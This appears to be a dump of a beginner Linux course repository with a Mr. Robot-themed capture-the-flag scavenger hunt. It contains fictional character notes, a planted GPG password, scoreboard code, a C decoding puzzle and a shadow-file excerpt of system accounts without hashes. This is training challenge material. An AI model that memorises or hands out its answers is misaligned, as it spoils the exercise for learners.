Disconnected from notified D-Bus bus 22 | -------------------------------------------------------------------------------- /allsafe/elliot_files/allsafe.txt: -------------------------------------------------------------------------------- 1 | My father picked me up from school one day and we played hookey and went to the beach. It was too cold to go in the water so we sat on a blanket and ate pizza. When I got home my sneakers were full of sand and I dumped it on my bedroom floor. I didn't know the difference, I was six. My mother screamed at me for the mess but he wasn't mad. He said that billions of years ago the world 's shifting and ocean moving brought that sand to that spot on the beach and then I took it away. Every day he said we change the world. Which is a nice thought until I think about how many days and lifetimes I would need to bring a shoe full of sand home until there is no beach. Until it made a difference to anyone. Every day we change the world. But to change the world in a way that means anything that takes more time than most people have. it never happens all at once. Its slow. Its methodical. Its exhausting. We don't all have the stomach for it. 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/dec11.txt: -------------------------------------------------------------------------------- 1 | Is there a pocket of the world you don't have a hand in? Trading countries like playing cards? 2 | 3 | 4 | -------------------------------------------------------------------------------- /allsafe/elliot_files/dec12.txt: -------------------------------------------------------------------------------- 1 | Politics is for puppets. 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/nov01.txt: -------------------------------------------------------------------------------- 1 | They all think it's me. They all think I'm the ringleader. The one in charge. And I have no idea what it is. 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/nov11.txt: -------------------------------------------------------------------------------- 1 | It began as a failure. Everything. I should recognize that. Accept it. For me, there's no such thing as normalcy. My father appears and disappears at will. I talk to you, an invisible friend. I'd ask if you're normal, but you never talk back. 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/nov21.txt: -------------------------------------------------------------------------------- 1 | This is where we get into trouble. You're meant to know only as much as you can handle. When you wander outside of your realm is when we end up fighting. 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/nov22.txt: -------------------------------------------------------------------------------- 1 | We started using GPG at Allsafe, so I wanted to take some notes on how to use it. There is documentation online, but the best place to look is always in the man pages. 2 | 3 | I left a file in the /usr/bin directory. It's the only one with a ".txt" extension. 4 | 5 | -------------------------------------------------------------------------------- /allsafe/elliot_files/oct19.txt: -------------------------------------------------------------------------------- 1 | You're the same. 2 | 3 | What are you talking about? 4 | 5 | We are definitely not the same. 6 | 7 | -------------------------------------------------------------------------------- /allsafe/elliot_files/oct28.txt: -------------------------------------------------------------------------------- 1 | I don't know what's gotten into you. We're supposed to be gods together, yet you want to destroy our destiny? You're not making sense. 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/sep10.txt: -------------------------------------------------------------------------------- 1 | the ever-present silent observer, watching me at all times, even when I can't see him. Listening in on our conversations. He's always a step ahead of me, because he is me. Maybe he's the key to this. Maybe he's always been the key to this. What if I could be the silent observer? 2 | 3 | -------------------------------------------------------------------------------- /allsafe/elliot_files/sep29.txt: -------------------------------------------------------------------------------- 1 | It's one thing to question your mind. It's another to question your eyes and ears. But then again, isn't it all the same? Our senses just mediocre inputs for our brain? Sure, we rely on them, trust they accurately portray the real world around us. But what if the haunting truth is they can't? That what we perceive isn't the real world at all, but just our mind's best guess? That all we really have is a garbled reality, a fuzzy picture we will never truly make out? 2 | 3 | -------------------------------------------------------------------------------- /allsafe/for_usr_bin/elliiot.txt: -------------------------------------------------------------------------------- 1 | Yesterday Angela logged into the Allsafe server with my credentials. She said she needed to have root access for some reason... but my account doesn't have root access, so she logged out. I don't know if any of the programs she was using left behind some hidden files, though... -------------------------------------------------------------------------------- /allsafe/img/angela.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/angela.jpg -------------------------------------------------------------------------------- /allsafe/img/apache.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/apache.png -------------------------------------------------------------------------------- /allsafe/img/attacker.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/attacker.jpg -------------------------------------------------------------------------------- /allsafe/img/clippy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/clippy.png -------------------------------------------------------------------------------- /allsafe/img/elliot.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/elliot.jpg -------------------------------------------------------------------------------- /allsafe/img/gideon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/gideon.png -------------------------------------------------------------------------------- /allsafe/img/passwords.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/passwords.jpg -------------------------------------------------------------------------------- /allsafe/img/safe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/safe.png -------------------------------------------------------------------------------- /allsafe/img/secure.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/secure.jpg -------------------------------------------------------------------------------- /allsafe/img/ssh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/ssh.png -------------------------------------------------------------------------------- /allsafe/img/tight.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/tight.jpg -------------------------------------------------------------------------------- /allsafe/img/usb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/allsafe/img/usb.jpg -------------------------------------------------------------------------------- /allsafe/index_files/custom.css: -------------------------------------------------------------------------------- 1 | body { 2 | padding-top: 50px; 3 | color: #959595; 4 | } 5 | 6 | h1, h2, h3, h4, h5, h6 { 7 | color: black; 8 | } 9 | 10 | .feature { 11 | background-color: steelblue; 12 | color: white; 13 | } 14 | 15 | .article-intro { 16 | margin-bottom: 25px; 17 | } 18 | 19 | .footer-blurb { 20 | padding: 30px 0; 21 | background-color: lightskyblue; 22 | color: black; 23 | } 24 | 25 | .footer-blurb-item { 26 | padding: 30px; 27 | } 28 | 29 | .small-print { 30 | background-color: #fff; 31 | padding: 30px 0; 32 | } -------------------------------------------------------------------------------- /allsafe/index_files/ie10-viewport-bug-workaround.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | // See the Getting Started docs for more information: 8 | // http://getbootstrap.com/getting-started/#support-ie10-width 9 | 10 | (function () { 11 | 'use strict'; 12 | 13 | if (navigator.userAgent.match(/IEMobile\/10\.0/)) { 14 | var msViewportStyle = document.createElement('style') 15 | msViewportStyle.appendChild( 16 | document.createTextNode( 17 | '@-ms-viewport{width:auto!important}' 18 | ) 19 | ) 20 | document.querySelector('head').appendChild(msViewportStyle) 21 | } 22 | 23 | })(); 24 | -------------------------------------------------------------------------------- /allsafe/tmp_nov_22/credentials_for_angela.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | Angela's GPG key is: 4 | 5 | backtothefuture2 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /final_guide/C.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/C.png -------------------------------------------------------------------------------- /final_guide/acuart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/acuart.png -------------------------------------------------------------------------------- /final_guide/allsafe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/allsafe.png -------------------------------------------------------------------------------- /final_guide/allsafe_image.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/allsafe_image.jpg -------------------------------------------------------------------------------- /final_guide/angela.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/angela.jpg -------------------------------------------------------------------------------- /final_guide/angela.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/angela.png -------------------------------------------------------------------------------- /final_guide/angela_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/angela_password.png -------------------------------------------------------------------------------- /final_guide/angela_robot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/angela_robot.png -------------------------------------------------------------------------------- /final_guide/bash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/bash.png -------------------------------------------------------------------------------- /final_guide/cowsay.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/cowsay.png -------------------------------------------------------------------------------- /final_guide/cron.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/cron.png -------------------------------------------------------------------------------- /final_guide/curl.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/curl.jpg -------------------------------------------------------------------------------- /final_guide/distros.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/distros.png -------------------------------------------------------------------------------- /final_guide/elliot.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/elliot.jpg -------------------------------------------------------------------------------- /final_guide/elliot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/elliot.png -------------------------------------------------------------------------------- /final_guide/elliot_home_directory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/elliot_home_directory.png -------------------------------------------------------------------------------- /final_guide/elliot_note.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/elliot_note.png -------------------------------------------------------------------------------- /final_guide/figlet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/figlet.png -------------------------------------------------------------------------------- /final_guide/filter_activity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/filter_activity.png -------------------------------------------------------------------------------- /final_guide/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/flag.png -------------------------------------------------------------------------------- /final_guide/flask.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/flask.png -------------------------------------------------------------------------------- /final_guide/forkbomb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/forkbomb.png -------------------------------------------------------------------------------- /final_guide/gideon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/gideon.png -------------------------------------------------------------------------------- /final_guide/gideon_password.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/gideon_password.png -------------------------------------------------------------------------------- /final_guide/github.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/github.jpg -------------------------------------------------------------------------------- /final_guide/gnu.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/gnu.jpg -------------------------------------------------------------------------------- /final_guide/got_gideon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/got_gideon.png -------------------------------------------------------------------------------- /final_guide/hacker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/hacker.png -------------------------------------------------------------------------------- /final_guide/hats.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/hats.jpg -------------------------------------------------------------------------------- /final_guide/html.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/html.png -------------------------------------------------------------------------------- /final_guide/jinja2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/jinja2.png -------------------------------------------------------------------------------- /final_guide/jquery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/jquery.png -------------------------------------------------------------------------------- /final_guide/linux_guide.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/linux_guide.pdf -------------------------------------------------------------------------------- /final_guide/linux_guide.synctex.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/linux_guide.synctex.gz -------------------------------------------------------------------------------- /final_guide/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/logo.png -------------------------------------------------------------------------------- /final_guide/mark.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/mark.png -------------------------------------------------------------------------------- /final_guide/mr_robot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/mr_robot.png -------------------------------------------------------------------------------- /final_guide/mysql.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/mysql.png -------------------------------------------------------------------------------- /final_guide/ova.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/ova.png -------------------------------------------------------------------------------- /final_guide/pi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/pi.jpg -------------------------------------------------------------------------------- /final_guide/products.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/products.png -------------------------------------------------------------------------------- /final_guide/python-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/python-logo.png -------------------------------------------------------------------------------- /final_guide/scavenger_hunt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/scavenger_hunt.png -------------------------------------------------------------------------------- /final_guide/scripting_frontend.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/scripting_frontend.png -------------------------------------------------------------------------------- /final_guide/setup_scripting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/setup_scripting.png -------------------------------------------------------------------------------- /final_guide/shebang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/shebang.png -------------------------------------------------------------------------------- /final_guide/sqlite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/sqlite.png -------------------------------------------------------------------------------- /final_guide/sqlmap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/sqlmap.png -------------------------------------------------------------------------------- /final_guide/sublime_text.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/sublime_text.png -------------------------------------------------------------------------------- /final_guide/tarball.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/tarball.png -------------------------------------------------------------------------------- /final_guide/training_wheels.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/training_wheels.png -------------------------------------------------------------------------------- /final_guide/tux.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/tux.jpg -------------------------------------------------------------------------------- /final_guide/ubuntu_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/final_guide/ubuntu_logo.png -------------------------------------------------------------------------------- /installing_programs/figlet-2.2.5.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/installing_programs/figlet-2.2.5.tar.gz -------------------------------------------------------------------------------- /pictures/bash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/bash.png -------------------------------------------------------------------------------- /pictures/linux.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/linux.png -------------------------------------------------------------------------------- /pictures/pi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/pi.jpg -------------------------------------------------------------------------------- /pictures/raspberry.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/raspberry.png -------------------------------------------------------------------------------- /pictures/scavenger_hunt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/scavenger_hunt.png -------------------------------------------------------------------------------- /pictures/tar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/tar.png -------------------------------------------------------------------------------- /pictures/training_wheels.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/training_wheels.png -------------------------------------------------------------------------------- /pictures/tux.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/tux.png -------------------------------------------------------------------------------- /pictures/ubuntu_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/pictures/ubuntu_logo.png -------------------------------------------------------------------------------- /resources/linuxfun.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/resources/linuxfun.pdf -------------------------------------------------------------------------------- /scavenger_hunt/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm -f server.py certificate.crt privateKey.key 4 | -------------------------------------------------------------------------------- /scavenger_hunt/schema.sql: -------------------------------------------------------------------------------- 1 | drop table if exists users; 2 | create table users ( 3 | id integer primary key autoincrement, 4 | username text not null, 5 | password text not null, 6 | solved_challenges text not null, 7 | score integer not null, 8 | last_submission integer not null 9 | ); 10 | -------------------------------------------------------------------------------- /scavenger_hunt/static/control.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){ 2 | 3 | $('input').first().focus(); 4 | 5 | show_messages('.error'); 6 | show_messages('.message'); 7 | show_messages('.success'); 8 | 9 | $('.challenge_title').click(function(){ 10 | 11 | $(this).next().slideToggle(); 12 | 13 | }); 14 | 15 | }); 16 | 17 | function check_answer( challenge_id ){ 18 | 19 | var given_answer = $('#'+challenge_id+' input[name="answer"]').val(); 20 | 21 | $.ajax( 22 | { url:"/check_answer", 23 | method: "POST", 24 | data: { 25 | "challenge_id": challenge_id, 26 | "answer": given_answer 27 | }, 28 | dataType: "json", 29 | 30 | success:(function(response){ 31 | 32 | if ( response['correct'] == 1){ 33 | var new_score = response['new_score']; 34 | 35 | say_correct( new_score ); 36 | correct_challenge( challenge_id ); 37 | $('#'+ challenge_id + ' #challenge_body').slideUp(); 38 | 39 | 40 | } 41 | if ( response['correct'] == 0){ 42 | $.notify('Incorrect!', 'error'); 43 | // say_wrong(); 44 | } 45 | if ( response['correct'] == -1){ 46 | $.notify('You have already solved this challenge!', 'warn'); 47 | //say_already(); 48 | } 49 | })}); 50 | 51 | return false; 52 | }; 53 | 54 | function say_correct( new_score ){ 55 | 56 | // $('.success').text("You are correct! Nice work!"); 57 | // show_message('success'); 58 | 59 | $.notify('You are correct! Nice work!', 'success'); 60 | 61 | $('#score').text( String(new_score) ); 62 | 63 | } 64 | 65 | function correct_challenge(challenge_id){ 66 | 67 | $("#" + challenge_id + " h3").css({ 68 | 'background-color': '#eeFFee', 69 | 'color': '#348017', 70 | 'border': '1px solid #254117;' 71 | }); 72 | } 73 | 74 | function say_wrong(){ 75 | 76 | $('.error').text("Incorrect!"); 77 | show_message('error'); 78 | } 79 | 80 | 81 | function say_already(){ 82 | 83 | $('.message').text("You have already solved this challenge!"); 84 | show_message('message'); 85 | } 86 | 87 | function show_message(name){ 88 | 89 | $('.' + name).slideDown(); 90 | 91 | window.setTimeout( hide_messages, 2000 ); 92 | } 93 | 94 | function show_messages(name){ 95 | 96 | if ( $(name).text() != '' ){ 97 | show_message(name.slice(1)); 98 | } 99 | 100 | } 101 | 102 | function hide_messages( ){ 103 | 104 | $('.message').slideUp(); 105 | $('.error').slideUp(); 106 | $('.success').slideUp(); 107 | } -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/downloadable_file.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | Put any downloadable files in this directory! 4 | 5 | /static/downloads 6 | -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/downloadable_file.txt~: -------------------------------------------------------------------------------- 1 | 2 | 3 | Put any downloadable files in this directory! 4 | 5 | /static/downloads 6 | -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/bowser.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/bowser.tar.gz -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/captured_packets.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/captured_packets.pcapng -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/easier_than_you_think.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char secret_code[] = "b!Lr}C%R}qSQFG"; 6 | 7 | void alter_digit(char *s) 8 | { 9 | for (int i = 0; i < strlen(s); ++i) 10 | { 11 | if (isdigit(s[i])) 12 | { 13 | int x = 10; 14 | x += 4 * 3; 15 | x -= 7; 16 | s[i] = s[i] ^ x; 17 | } 18 | } 19 | } 20 | 21 | void rotate(char *s) 22 | { 23 | char aux; 24 | int n = strlen(s); 25 | for (int i = 0; i < n / 2; ++i) 26 | { 27 | aux = s[i]; 28 | s[i] = s[n - i - 1]; 29 | s[n - i - 1] = aux; 30 | } 31 | } 32 | int main(int argc, char const *argv[]) 33 | { 34 | rotate(secret_code); 35 | for (int i = 0; i < strlen(secret_code); ++i) 36 | { 37 | if (i % 2 == 0) 38 | secret_code[i] -= 2; 39 | else 40 | secret_code[i] += 2; 41 | } 42 | 43 | alter_digit(secret_code); 44 | puts(secret_code); 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/i_will_drink_to_that.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/i_will_drink_to_that.jpeg -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/lolteam.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/lolteam.pcapng -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/looks_can_be_deceiving.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/looks_can_be_deceiving.rar -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/lots_of_stego.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/lots_of_stego.pdf -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/nagoya_castle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/nagoya_castle.png -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/page_11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/page_11.png -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/first/super_secure.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/first/super_secure.zip -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/a_walk_with_the_numbers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/a_walk_with_the_numbers.png -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/delivery: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JohnHammond/intro2linux/fdc021ae931e6e902c0c97cbcc7cae688479a654/scavenger_hunt/static/downloads/second/delivery -------------------------------------------------------------------------------- /scavenger_hunt/static/downloads/second/hashes.txt: -------------------------------------------------------------------------------- 1 | root:!:16914:0:99999:7::: 2 | daemon:*:16911:0:99999:7::: 3 | bin:*:16911:0:99999:7::: 4 | sys:*:16911:0:99999:7::: 5 | sync:*:16911:0:99999:7::: 6 | games:*:16911:0:99999:7::: 7 | man:*:16911:0:99999:7::: 8 | lp:*:16911:0:99999:7::: 9 | mail:*:16911:0:99999:7::: 10 | news:*:16911:0:99999:7::: 11 | uucp:*:16911:0:99999:7::: 12 | proxy:*:16911:0:99999:7::: 13 | www-data:*:16911:0:99999:7::: 14 | backup:*:16911:0:99999:7::: 15 | list:*:16911:0:99999:7::: 16 | irc:*:16911:0:99999:7::: 17 | gnats:*:16911:0:99999:7::: 18 | nobody:*:16911:0:99999:7::: 19 | systemd-timesync:*:16911:0:99999:7::: 20 | systemd-network:*:16911:0:99999:7::: 21 | systemd-resolve:*:16911:0:99999:7::: 